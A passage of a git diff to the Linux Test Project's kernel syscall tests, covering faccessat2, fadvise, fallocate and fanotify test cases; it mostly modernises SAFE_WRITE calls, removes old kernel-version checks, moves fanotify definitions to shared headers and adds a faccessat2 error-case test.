i) +{ + struct tcase *tc = &tcases[i]; + + if (tc->exp_errno == EACCES) + SAFE_SETEUID(ltpuser->pw_uid); + + TST_EXP_FAIL(faccessat2(*tc->fd, *tc->filename, tc->mode, tc->flags), + tc->exp_errno, "faccessat2() with %s", tc->desc); + + if (tc->exp_errno == EACCES) + SAFE_SETEUID(0); +} + +static void setup(void) +{ + SAFE_MKDIR(TESTDIR, 0666); + SAFE_TOUCH(RELPATH, 0444, NULL); + + fd = SAFE_OPEN(RELPATH, O_RDONLY); + bad_path = tst_get_bad_addr(NULL); + + ltpuser = SAFE_GETPWNAM(TESTUSER); +} + +static void cleanup(void) +{ + if (fd > -1) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test = verify_faccessat2, + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .cleanup = cleanup, + .bufs = (struct tst_buffers []) { + {&rel_path, .str = RELPATH}, + {}, + }, + .needs_tmpdir = 1, + .needs_root = 1, +}; diff --git a/testcases/kernel/syscalls/fadvise/posix_fadvise04.c b/testcases/kernel/syscalls/fadvise/posix_fadvise04.c index f389a219..8baf91bb 100755 --- a/testcases/kernel/syscalls/fadvise/posix_fadvise04.c +++ b/testcases/kernel/syscalls/fadvise/posix_fadvise04.c @@ -83,5 +83,4 @@ static struct tst_test test = { .cleanup = cleanup, .test = verify_fadvise, .tcnt = ARRAY_SIZE(defined_advise), - .min_kver = "2.6.16", }; diff --git a/testcases/kernel/syscalls/fallocate/fallocate02.c b/testcases/kernel/syscalls/fallocate/fallocate02.c index 750ef4e4..bb719d78 100755 --- a/testcases/kernel/syscalls/fallocate/fallocate02.c +++ b/testcases/kernel/syscalls/fallocate/fallocate02.c @@ -124,7 +124,7 @@ static void setup(void) char buf[BLOCK_SIZE]; memset(buf, 'A', BLOCK_SIZE); for (i = 0; i < BLOCKS_WRITTEN; i++) - SAFE_WRITE(cleanup, 1, fdw, buf, BLOCK_SIZE); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fdw, buf, BLOCK_SIZE); } static void fallocate_verify(int i) diff --git a/testcases/kernel/syscalls/fallocate/fallocate04.c b/testcases/kernel/syscalls/fallocate/fallocate04.c index 29de5886..ff372a9b 100755 --- a/testcases/kernel/syscalls/fallocate/fallocate04.c +++ b/testcases/kernel/syscalls/fallocate/fallocate04.c @@ -91,7 +91,7 @@ static void test01(void) fill_tst_buf(buf); - SAFE_WRITE(1, fd, buf, buf_size); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, buf_size); tst_res(TPASS, "test-case succeeded"); } @@ -103,11 +103,6 @@ static void test02(void) tst_res(TINFO, "read allocated file size '%zu'", alloc_size0); tst_res(TINFO, "make a hole with FALLOC_FL_PUNCH_HOLE"); - if (tst_kvercmp(2, 6, 38) < 0) { - tst_brk(TCONF, - "FALLOC_FL_PUNCH_HOLE needs Linux 2.6.38 or newer"); - } - if (fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, block_size, block_size) == -1) { if (errno == EOPNOTSUPP) { @@ -126,13 +121,8 @@ static void test02(void) tst_brk(TFAIL | TERRNO, "fallocate() or lseek() failed"); } - if (tst_kvercmp(3, 1, 0) < 0) { - tst_res(TINFO, "lseek() doesn't support SEEK_HOLE, " - "this is expected for < 3.1 kernels"); - } else { - tst_brk(TBROK | TERRNO, - "lseek() doesn't support SEEK_HOLE"); - } + tst_brk(TBROK | TERRNO, + "lseek() doesn't support SEEK_HOLE"); } else { tst_res(TINFO, "found a hole at '%ld' offset", ret); } diff --git a/testcases/kernel/syscalls/fallocate/fallocate05.c b/testcases/kernel/syscalls/fallocate/fallocate05.c index d67c6cf5..af6bf9e8 100755 --- a/testcases/kernel/syscalls/fallocate/fallocate05.c +++ b/testcases/kernel/syscalls/fallocate/fallocate05.c @@ -68,7 +68,7 @@ static void run(void) tst_brk(TBROK | TTERRNO, "fallocate(fd, 0, 0, %ld)", bufsize); } - tst_fill_fs(MNTPOINT, 1); + tst_fill_fs(MNTPOINT, 1, TST_FILL_RANDOM); TEST(write(fd, buf, bufsize)); diff --git a/testcases/kernel/syscalls/fallocate/fallocate06.c b/testcases/kernel/syscalls/fallocate/fallocate06.c index bf0d2432..124fb7ea 100755 --- a/testcases/kernel/syscalls/fallocate/fallocate06.c +++ b/testcases/kernel/syscalls/fallocate/fallocate06.c @@ -95,7 +95,7 @@ static void setup(void) TEST(toggle_cow(fd, 0)); SAFE_FSTAT(fd, &statbuf); blocksize = statbuf.st_blksize; - block_offset = MIN(blocksize / 2, 512); + block_offset = MIN(blocksize / 2, (blksize_t)512); wbuf_size = MAX(WRITE_BLOCKS, FALLOCATE_BLOCKS) * blocksize; rbuf_size = (DEALLOCATE_BLOCKS + 1) * blocksize; SAFE_CLOSE(fd); @@ -184,7 +184,7 @@ static void run(unsigned int n) /* Prepare test data for deallocation test */ size = WRITE_BLOCKS * blocksize; - SAFE_WRITE(1, fd, wbuf, size); + SAFE_WRITE(SAFE_WRITE_ALL, fd, wbuf, size); /* Allocation test */ offset = size + block_offset; @@ -202,7 +202,7 @@ static void run(unsigned int n) } if (tc->fill_fs) - tst_fill_fs(MNTPOINT, 1); + tst_fill_fs(MNTPOINT, 1, TST_FILL_RANDOM); SAFE_LSEEK(fd, offset, SEEK_SET); TEST(write(fd, wbuf, size)); diff --git a/testcases/kernel/syscalls/fanotify/.gitignore b/testcases/kernel/syscalls/fanotify/.gitignore index 6d4ab4ca..a0a7d20d 100755 --- a/testcases/kernel/syscalls/fanotify/.gitignore +++ b/testcases/kernel/syscalls/fanotify/.gitignore @@ -20,4 +20,5 @@ /fanotify20 /fanotify21 /fanotify22 +/fanotify23 /fanotify_child diff --git a/testcases/kernel/syscalls/fanotify/fanotify.h b/testcases/kernel/syscalls/fanotify/fanotify.h index f7778bb3..75a081dc 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify.h +++ b/testcases/kernel/syscalls/fanotify/fanotify.h @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: GPL-2.0-or-later +/* SPDX-License-Identifier: GPL-2.0-or-later */ /* * Copyright (c) 2012-2020 Linux Test Project. All Rights Reserved. * Author: Jan Kara, November 2013 @@ -7,15 +7,14 @@ #ifndef __FANOTIFY_H__ #define __FANOTIFY_H__ -#include "config.h" #include #include #include #include -#include +#include "lapi/fanotify.h" #include "lapi/fcntl.h" -int safe_fanotify_init(const char *file, const int lineno, +static inline int safe_fanotify_init(const char *file, const int lineno, unsigned int flags, unsigned int event_f_flags) { int rval; @@ -48,7 +47,9 @@ static inline int safe_fanotify_mark(const char *file, const int lineno, rval = fanotify_mark(fd, flags, mask, dfd, pathname); if (rval == -1) { - tst_brk_(file, lineno, TBROK | TERRNO, "fanotify_mark() failed"); + tst_brk_(file, lineno, TBROK | TERRNO, + "fanotify_mark(%d, 0x%x, 0x%lx, ..., %s) failed", + fd, flags, mask, pathname); } if (rval < -1) { @@ -65,170 +66,16 @@ static inline int safe_fanotify_mark(const char *file, const int lineno, #define SAFE_FANOTIFY_INIT(fan, mode) \ safe_fanotify_init(__FILE__, __LINE__, (fan), (mode)) -#ifndef FAN_REPORT_TID -#define FAN_REPORT_TID 0x00000100 -#endif -#ifndef FAN_REPORT_FID -#define FAN_REPORT_FID 0x00000200 -#endif -#ifndef FAN_REPORT_DIR_FID -#define FAN_REPORT_DIR_FID 0x00000400 -#endif -#ifndef FAN_REPORT_NAME -#define FAN_REPORT_NAME 0x00000800 -#define FAN_REPORT_DFID_NAME (FAN_REPORT_DIR_FID | FAN_REPORT_NAME) -#endif -#ifndef FAN_REPORT_PIDFD -#define FAN_REPORT_PIDFD 0x00000080 -#endif - -/* Non-uapi convenience macros */ -#ifndef FAN_REPORT_DFID_NAME_FID -#define FAN_REPORT_DFID_NAME_FID (FAN_REPORT_DFID_NAME | FAN_REPORT_FID) -#endif -#ifndef FAN_REPORT_DFID_FID -#define FAN_REPORT_DFID_FID (FAN_REPORT_DIR_FID | FAN_REPORT_FID) -#endif - -#ifndef FAN_MARK_INODE -#define FAN_MARK_INODE 0 -#endif -#ifndef FAN_MARK_FILESYSTEM -#define FAN_MARK_FILESYSTEM 0x00000100 -#endif -/* New dirent event masks */ -#ifndef FAN_ATTRIB -#define FAN_ATTRIB 0x00000004 -#endif -#ifndef FAN_MOVED_FROM -#define FAN_MOVED_FROM 0x00000040 -#endif -#ifndef FAN_MOVED_TO -#define FAN_MOVED_TO 0x00000080 -#endif -#ifndef FAN_CREATE -#define FAN_CREATE 0x00000100 -#endif -#ifndef FAN_DELETE -#define FAN_DELETE 0x00000200 -#endif -#ifndef FAN_DELETE_SELF -#define FAN_DELETE_SELF 0x00000400 -#endif -#ifndef FAN_MOVE_SELF -#define FAN_MOVE_SELF 0x00000800 -#endif -#ifndef FAN_MOVE -#define FAN_MOVE (FAN_MOVED_FROM | FAN_MOVED_TO) -#endif -#ifndef FAN_OPEN_EXEC -#define FAN_OPEN_EXEC 0x00001000 -#endif -#ifndef FAN_OPEN_EXEC_PERM -#define FAN_OPEN_EXEC_PERM 0x00040000 -#endif -#ifndef FAN_FS_ERROR -#define FAN_FS_ERROR 0x00008000 -#endif - -/* Additional error status codes that can be returned to userspace */ -#ifndef FAN_NOPIDFD -#define FAN_NOPIDFD -1 -#endif -#ifndef FAN_EPIDFD -#define FAN_EPIDFD -2 -#endif - -/* Flags required for unprivileged user group */ -#define FANOTIFY_REQUIRED_USER_INIT_FLAGS (FAN_REPORT_FID) - -/* - * FAN_ALL_PERM_EVENTS has been deprecated, so any new permission events - * are not to be added to it. To cover the instance where a new permission - * event is defined, we create a new macro that is to include all - * permission events. Any new permission events should be added to this - * macro. - */ -#define LTP_ALL_PERM_EVENTS (FAN_OPEN_PERM | FAN_OPEN_EXEC_PERM | \ - FAN_ACCESS_PERM) - -struct fanotify_group_type { - unsigned int flag; - const char * name; -}; - -struct fanotify_mark_type { - unsigned int flag; - const char * name; -}; - -#ifndef __kernel_fsid_t -typedef struct { - int val[2]; -} lapi_fsid_t; -#define __kernel_fsid_t lapi_fsid_t -#endif /* __kernel_fsid_t */ - -#ifndef FAN_EVENT_INFO_TYPE_FID -#define FAN_EVENT_INFO_TYPE_FID 1 -#endif -#ifndef FAN_EVENT_INFO_TYPE_DFID_NAME -#define FAN_EVENT_INFO_TYPE_DFID_NAME 2 -#endif -#ifndef FAN_EVENT_INFO_TYPE_DFID -#define FAN_EVENT_INFO_TYPE_DFID 3 -#endif -#ifndef FAN_EVENT_INFO_TYPE_PIDFD -#define FAN_EVENT_INFO_TYPE_PIDFD 4 -#endif -#ifndef FAN_EVENT_INFO_TYPE_ERROR -#define FAN_EVENT_INFO_TYPE_ERROR 5 -#endif - -#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_HEADER -struct fanotify_event_info_header { - uint8_t info_type; - uint8_t pad; - uint16_t len; -}; -#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_HEADER */ - -#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID -struct fanotify_event_info_fid { - struct fanotify_event_info_header hdr; - __kernel_fsid_t fsid; - unsigned char handle[0]; -}; -#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID */ - -#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_PIDFD -struct fanotify_event_info_pidfd { - struct fanotify_event_info_header hdr; - int32_t pidfd; -}; -#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_PIDFD */ - -#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_ERROR -struct fanotify_event_info_error { - struct fanotify_event_info_header hdr; - __s32 error; - __u32 error_count; -}; -#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_ERROR */ - -/* NOTE: only for struct fanotify_event_info_fid */ -#ifdef HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID_FSID___VAL -# define FSID_VAL_MEMBER(fsid, i) (fsid.__val[i]) -#else -# define FSID_VAL_MEMBER(fsid, i) (fsid.val[i]) -#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID_FSID___VAL */ - #ifdef HAVE_NAME_TO_HANDLE_AT #ifndef MAX_HANDLE_SZ #define MAX_HANDLE_SZ 128 #endif +#ifndef AT_HANDLE_FID +#define AT_HANDLE_FID 0x200 +#endif + /* * Helper function used to obtain fsid and file_handle for a given path. * Used by test files correlated to FAN_REPORT_FID functionality. @@ -388,15 +235,13 @@ static inline void fanotify_init_flags_err_msg(const char *flags_str, #define FANOTIFY_INIT_FLAGS_ERR_MSG(flags, fail) \ fanotify_init_flags_err_msg(#flags, __FILE__, __LINE__, tst_res_, (fail)) -#define REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(flags, fname) do { \ +#define REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(flags, fname) \ fanotify_init_flags_err_msg(#flags, __FILE__, __LINE__, tst_brk_, \ - fanotify_init_flags_supported_on_fs(flags, fname)); \ - } while (0) + fanotify_init_flags_supported_on_fs(flags, fname)) -#define REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_BY_KERNEL(flags) do { \ +#define REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_BY_KERNEL(flags) \ fanotify_init_flags_err_msg(#flags, __FILE__, __LINE__, tst_brk_, \ - fanotify_init_flags_supported_by_kernel(flags)); \ - } while (0) + fanotify_init_flags_supported_by_kernel(flags)) static inline int fanotify_mark_supported_by_kernel(uint64_t flag) { @@ -419,10 +264,26 @@ static inline int fanotify_mark_supported_by_kernel(uint64_t flag) return rval; } -#define REQUIRE_MARK_TYPE_SUPPORTED_BY_KERNEL(mark_type) do { \ +static inline int fanotify_handle_supported_by_kernel(int flag) +{ + /* + * On Kernel that does not support AT_HANDLE_FID this will result + * with EINVAL. On older kernels, this will result in EBADF. + */ + if (name_to_handle_at(-1, "", NULL, NULL, AT_EMPTY_PATH | flag)) { + if (errno == EINVAL) + return -1; + } + return 0; +} + +#define REQUIRE_MARK_TYPE_SUPPORTED_BY_KERNEL(mark_type) \ fanotify_init_flags_err_msg(#mark_type, __FILE__, __LINE__, tst_brk_, \ - fanotify_mark_supported_by_kernel(mark_type)); \ -} while (0) + fanotify_mark_supported_by_kernel(mark_type)) + +#define REQUIRE_HANDLE_TYPE_SUPPORTED_BY_KERNEL(handle_type) \ + fanotify_init_flags_err_msg(#handle_type, __FILE__, __LINE__, tst_brk_, \ + fanotify_handle_supported_by_kernel(handle_type)) #define REQUIRE_FANOTIFY_EVENTS_SUPPORTED_ON_FS(init_flags, mark_type, mask, fname) do { \ if (mark_type) \ @@ -433,7 +294,7 @@ static inline int fanotify_mark_supported_by_kernel(uint64_t flag) fanotify_events_supported_by_kernel(mask, init_flags, mark_type)); \ } while (0) -struct fanotify_event_info_header *get_event_info( +static inline struct fanotify_event_info_header *get_event_info( struct fanotify_event_metadata *event, int info_type) { diff --git a/testcases/kernel/syscalls/fanotify/fanotify01.c b/testcases/kernel/syscalls/fanotify/fanotify01.c index 6b64e5b1..3538335c 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify01.c +++ b/testcases/kernel/syscalls/fanotify/fanotify01.c @@ -26,7 +26,7 @@ #define EVENT_MAX 1024 /* size of the event structure, not counting name */ -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) /* reasonable guess as to size of 1024 events */ #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) @@ -132,7 +132,7 @@ static void test_fanotify(unsigned int n) event_set[tst_count] = FAN_OPEN; tst_count++; - SAFE_WRITE(1, fd, fname, strlen(fname)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, fname, strlen(fname)); event_set[tst_count] = FAN_MODIFY; tst_count++; @@ -172,7 +172,7 @@ static void test_fanotify(unsigned int n) SAFE_LSEEK(fd, 0, SEEK_SET); /* Generate modify event to clear ignore mask */ - SAFE_WRITE(1, fd, fname, 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, fname, 1); event_set[tst_count] = FAN_MODIFY; tst_count++; @@ -204,7 +204,7 @@ static void test_fanotify(unsigned int n) /* This event should be ignored */ fd = SAFE_OPEN(fname, O_RDWR); - SAFE_WRITE(1, fd, fname, 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, fname, 1); event_set[tst_count] = FAN_MODIFY; tst_count++; @@ -252,21 +252,21 @@ static void test_fanotify(unsigned int n) "got unnecessary event: mask=%llx " "pid=%u fd=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } else if (!(event->mask & event_set[test_num])) { tst_res(TFAIL, "got event: mask=%llx (expected %llx) " "pid=%u fd=%d", (unsigned long long)event->mask, event_set[test_num], - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } else if (event->pid != getpid()) { tst_res(TFAIL, "got event: mask=%llx pid=%u " "(expected %u) fd=%d", (unsigned long long)event->mask, - (unsigned)event->pid, - (unsigned)getpid(), + (unsigned int)event->pid, + (unsigned int)getpid(), event->fd); } else { if (event->fd == -2 || (event->fd == FAN_NOFD && @@ -279,7 +279,7 @@ static void test_fanotify(unsigned int n) "of event: mask=%llx pid=%u " "fd=%d ret=%d (errno=%d)", (unsigned long long)event->mask, - (unsigned)event->pid, + (unsigned int)event->pid, event->fd, ret, errno); } else if (memcmp(buf, fname, strlen(fname))) { tst_res(TFAIL, @@ -287,16 +287,17 @@ static void test_fanotify(unsigned int n) "of event: mask=%llx pid=%u " "fd=%d", (unsigned long long)event->mask, - (unsigned)event->pid, + (unsigned int)event->pid, event->fd); } else { pass: tst_res(TPASS, "got event: mask=%llx pid=%u fd=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } } + /* * We have verified the data now so close fd and * invalidate it so that we don't check it again @@ -306,17 +307,20 @@ pass: SAFE_CLOSE(event->fd); event->fd = -2; event->mask &= ~event_set[test_num]; + /* No events left in current mask? Go for next event */ - if (event->mask == 0) { + if (event->mask == 0) i += event->event_len; - } + test_num++; } + for (; test_num < TST_TOTAL; test_num++) { tst_res(TFAIL, "didn't get event: mask=%llx", event_set[test_num]); } + /* Remove mark to clear FAN_MARK_IGNORED_SURV_MODIFY */ SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_REMOVE | mark->flag, FAN_ACCESS | FAN_MODIFY | FAN_CLOSE | FAN_OPEN, diff --git a/testcases/kernel/syscalls/fanotify/fanotify02.c b/testcases/kernel/syscalls/fanotify/fanotify02.c index eb40a2e2..3321e552 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify02.c +++ b/testcases/kernel/syscalls/fanotify/fanotify02.c @@ -26,7 +26,7 @@ #define EVENT_MAX 1024 /* size of the event structure, not counting name */ -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) /* reasonable guess as to size of 1024 events */ #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) @@ -41,7 +41,7 @@ static unsigned long long event_set[EVENT_MAX]; static char event_buf[EVENT_BUF_LEN]; -void test01(void) +static void test01(void) { int ret, len, i = 0, test_num = 0; @@ -58,7 +58,7 @@ void test01(void) event_set[tst_count] = FAN_OPEN; tst_count++; - SAFE_WRITE(1, fd, fname, strlen(fname)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, fname, strlen(fname)); event_set[tst_count] = FAN_MODIFY; tst_count++; @@ -139,27 +139,27 @@ void test01(void) "get unnecessary event: mask=%llx " "pid=%u fd=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } else if (!(event->mask & event_set[test_num])) { tst_res(TFAIL, "got event: mask=%llx (expected %llx) " "pid=%u fd=%d", (unsigned long long)event->mask, event_set[test_num], - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } else if (event->pid != getpid()) { tst_res(TFAIL, "got event: mask=%llx pid=%u " "(expected %u) fd=%d", (unsigned long long)event->mask, - (unsigned)event->pid, - (unsigned)getpid(), + (unsigned int)event->pid, + (unsigned int)getpid(), event->fd); } else { tst_res(TPASS, "got event: mask=%llx pid=%u fd=%u", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } event->mask &= ~event_set[test_num]; /* No events left in current mask? Go for next event */ diff --git a/testcases/kernel/syscalls/fanotify/fanotify03.c b/testcases/kernel/syscalls/fanotify/fanotify03.c index 2081f0bd..0bd61587 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify03.c +++ b/testcases/kernel/syscalls/fanotify/fanotify03.c @@ -30,7 +30,7 @@ #define EVENT_MAX 1024 /* size of the event structure, not counting name */ -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) /* reasonable guess as to size of 1024 events */ #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) /* Size large enough to hold a reasonable amount of expected event objects */ @@ -133,7 +133,7 @@ static void generate_events(void) */ fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700); - SAFE_WRITE(0, fd, fname, 1); + SAFE_WRITE(SAFE_WRITE_ANY, fd, fname, 1); SAFE_LSEEK(fd, 0, SEEK_SET); if (read(fd, buf, BUF_SIZE) != -1) @@ -273,20 +273,20 @@ static void test_fanotify(unsigned int n) "pid=%u fd=%d", (unsigned long long)event->mask, event_set[test_num].mask, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } else if (event->pid != child_pid) { tst_res(TFAIL, "got event: mask=%llx pid=%u " "(expected %u) fd=%d", (unsigned long long)event->mask, - (unsigned)event->pid, - (unsigned)child_pid, + (unsigned int)event->pid, + (unsigned int)child_pid, event->fd); } else { tst_res(TPASS, "got event: mask=%llx pid=%u fd=%d", (unsigned long long)event->mask, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } /* Write response to the permission event */ @@ -295,7 +295,7 @@ static void test_fanotify(unsigned int n) resp.fd = event->fd; resp.response = event_set[test_num].response; - SAFE_WRITE(1, fd_notify, &resp, sizeof(resp)); + SAFE_WRITE(SAFE_WRITE_ALL, fd_notify, &resp, sizeof(resp)); } i += event->event_len; diff --git a/testcases/kernel/syscalls/fanotify/fanotify04.c b/testcases/kernel/syscalls/fanotify/fanotify04.c index b23d7a9a..8541a7b9 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify04.c +++ b/testcases/kernel/syscalls/fanotify/fanotify04.c @@ -24,11 +24,8 @@ #ifdef HAVE_SYS_FANOTIFY_H #include "fanotify.h" -#define EVENT_MAX 1024 /* size of the event structure, not counting name */ -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) -/* reasonable guess as to size of 1024 events */ -#define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) #define BUF_SIZE 256 #define TST_TOTAL 9 @@ -37,9 +34,7 @@ static char fname[BUF_SIZE]; static char sname[BUF_SIZE]; static char dir[BUF_SIZE]; static int fd_notify; - -static int len; -static char event_buf[EVENT_BUF_LEN]; +static char event_buf[EVENT_SIZE]; static char *expect_str_fail(int expect) { @@ -104,16 +99,12 @@ static void open_dir(char *file) static void verify_event(int mask) { - int ret; struct fanotify_event_metadata *event; struct stat st; /* Read the event */ - ret = SAFE_READ(0, fd_notify, event_buf + len, - EVENT_BUF_LEN - len); - event = (struct fanotify_event_metadata *)&event_buf[len]; - len += ret; - + SAFE_READ(0, fd_notify, event_buf, EVENT_SIZE); + event = (struct fanotify_event_metadata *)&event_buf; if (event->mask != FAN_OPEN) { tst_res(TFAIL, "got unexpected event %llx", (unsigned long long)event->mask); @@ -146,11 +137,11 @@ static void verify_no_event(void) { int ret; - ret = read(fd_notify, event_buf + len, EVENT_BUF_LEN - len); + ret = read(fd_notify, event_buf, EVENT_SIZE); if (ret != -1) { struct fanotify_event_metadata *event; - event = (struct fanotify_event_metadata *)&event_buf[len]; + event = (struct fanotify_event_metadata *)&event_buf; tst_res(TFAIL, "seen unexpected event (mask %llx)", (unsigned long long)event->mask); /* Cleanup fd from the event */ @@ -158,7 +149,7 @@ static void verify_no_event(void) SAFE_CLOSE(event->fd); } else if (errno != EAGAIN) { tst_res(TFAIL | TERRNO, "read(%d, buf, %zu) failed", fd_notify, - EVENT_BUF_LEN); + EVENT_SIZE); } else { tst_res(TPASS, "No event as expected"); } @@ -171,7 +162,7 @@ static void test_open_symlink(char *file) verify_no_event(); } -void test01(void) +static void test01(void) { /* Check ONLYDIR on a directory */ CHECK_MARK(".", FAN_MARK_ONLYDIR, 0, NULL); diff --git a/testcases/kernel/syscalls/fanotify/fanotify05.c b/testcases/kernel/syscalls/fanotify/fanotify05.c index 9187025f..04670cb1 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify05.c +++ b/testcases/kernel/syscalls/fanotify/fanotify05.c @@ -63,23 +63,24 @@ static char symlnk[BUF_SIZE]; static char fdpath[BUF_SIZE]; static int fd, fd_notify; -struct fanotify_event_metadata event; +static struct fanotify_event_metadata event; static void event_res(struct fanotify_event_metadata *event, int i) { int len = 0; const char *filename; + sprintf(symlnk, "/proc/self/fd/%d", event->fd); len = readlink(symlnk, fdpath, sizeof(fdpath)); if (len < 0) len = 0; fdpath[len] = 0; filename = basename(fdpath); - if (len > FNAME_PREFIX_LEN && atoi(filename + FNAME_PREFIX_LEN) != i) { + + if (len > FNAME_PREFIX_LEN && atoi(filename + FNAME_PREFIX_LEN) != i) tst_res(TFAIL, "Got event #%d out of order filename=%s", i, filename); - } else if (i == 0) { + else if (i == 0) tst_res(TINFO, "Got event #%d filename=%s", i, filename); - } } static void generate_events(int open_flags, int num_files) @@ -161,7 +162,7 @@ static void test_fanotify(unsigned int n) "got event: mask=%llx (expected %llx) pid=%u fd=%d", (unsigned long long)event.mask, (unsigned long long)FAN_OPEN, - (unsigned)event.pid, event.fd); + (unsigned int)event.pid, event.fd); break; } if (event.mask == FAN_Q_OVERFLOW) { @@ -170,13 +171,13 @@ static void test_fanotify(unsigned int n) "%s overflow event: mask=%llx pid=%u fd=%d", got_overflow ? "unexpected" : "invalid", (unsigned long long)event.mask, - (unsigned)event.pid, + (unsigned int)event.pid, event.fd); break; } tst_res(expect_overflow ? TPASS : TFAIL, "Got an overflow event: pid=%u fd=%d", - (unsigned)event.pid, event.fd); + (unsigned int)event.pid, event.fd); got_overflow = 1; } } diff --git a/testcases/kernel/syscalls/fanotify/fanotify06.c b/testcases/kernel/syscalls/fanotify/fanotify06.c index 30055da4..618c85a4 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify06.c +++ b/testcases/kernel/syscalls/fanotify/fanotify06.c @@ -45,11 +45,11 @@ #define EVENT_MAX 1024 /* size of the event structure, not counting name */ -#define EVENT_SIZE (sizeof (struct fanotify_event_metadata)) +#define EVENT_SIZE (sizeof(struct fanotify_event_metadata)) /* reasonable guess as to size of 1024 events */ #define EVENT_BUF_LEN (EVENT_MAX * EVENT_SIZE) -unsigned int fanotify_prio[] = { +static unsigned int fanotify_prio[] = { FAN_CLASS_PRE_CONTENT, FAN_CLASS_CONTENT, FAN_CLASS_NOTIF @@ -124,16 +124,16 @@ static void verify_event(int group, struct fanotify_event_metadata *event) tst_res(TFAIL, "group %d got event: mask %llx (expected %llx) " "pid=%u fd=%d", group, (unsigned long long)event->mask, (unsigned long long)FAN_MODIFY, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } else if (event->pid != getpid()) { tst_res(TFAIL, "group %d got event: mask %llx pid=%u " "(expected %u) fd=%d", group, - (unsigned long long)event->mask, (unsigned)event->pid, - (unsigned)getpid(), event->fd); + (unsigned long long)event->mask, (unsigned int)event->pid, + (unsigned int)getpid(), event->fd); } else { tst_res(TPASS, "group %d got event: mask %llx pid=%u fd=%d", group, (unsigned long long)event->mask, - (unsigned)event->pid, event->fd); + (unsigned int)event->pid, event->fd); } } @@ -148,7 +148,7 @@ static void close_events_fd(struct fanotify_event_metadata *event, int buflen) } } -void test_fanotify(unsigned int n) +static void test_fanotify(unsigned int n) { int ret; unsigned int p, i; @@ -158,8 +158,7 @@ void test_fanotify(unsigned int n) tst_res(TINFO, "Test #%d: %s", n, tc->tname); if (tc->use_overlay && !ovl_mounted) { - tst_res(TCONF, - "overlayfs is not configured in this kernel."); + tst_res(TCONF, "overlayfs is not configured in this kernel"); return; } diff --git a/testcases/kernel/syscalls/fanotify/fanotify07.c b/testcases/kernel/syscalls/fanotify/fanotify07.c index 8887a2d4..396c8490 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify07.c +++ b/testcases/kernel/syscalls/fanotify/fanotify07.c @@ -137,18 +137,16 @@ static void loose_fanotify_events(void) "pid=%u fd=%d", (unsigned long long)event.mask, (unsigned long long)FAN_ACCESS_PERM, - (unsigned)event.pid, event.fd); + (unsigned int)event.pid, event.fd); break; } - /* - * We respond to permission event with 95% percent - * probability. */ + /* We respond to permission event with 95% percent probability. */ if (random() % 100 > 5) { /* Write response to permission event */ resp.fd = event.fd; resp.response = FAN_ALLOW; - SAFE_WRITE(1, fd_notify, &resp, sizeof(resp)); + SAFE_WRITE(SAFE_WRITE_ALL, fd_notify, &resp, sizeof(resp)); } else { not_responded++; } diff --git a/testcases/kernel/syscalls/fanotify/fanotify08.c b/testcases/kernel/syscalls/fanotify/fanotify08.c index f86b5675..de57f04d 100755 --- a/testcases/kernel/syscalls/fanotify/fanotify08.c +++ b/testcases/kernel/syscalls/fanotify/fanotify08.c @@ -35,11 +35,10 @@ static void test_init_bit(unsigned int fan_bit, ret = SAFE_FCNTL(fd_notify, 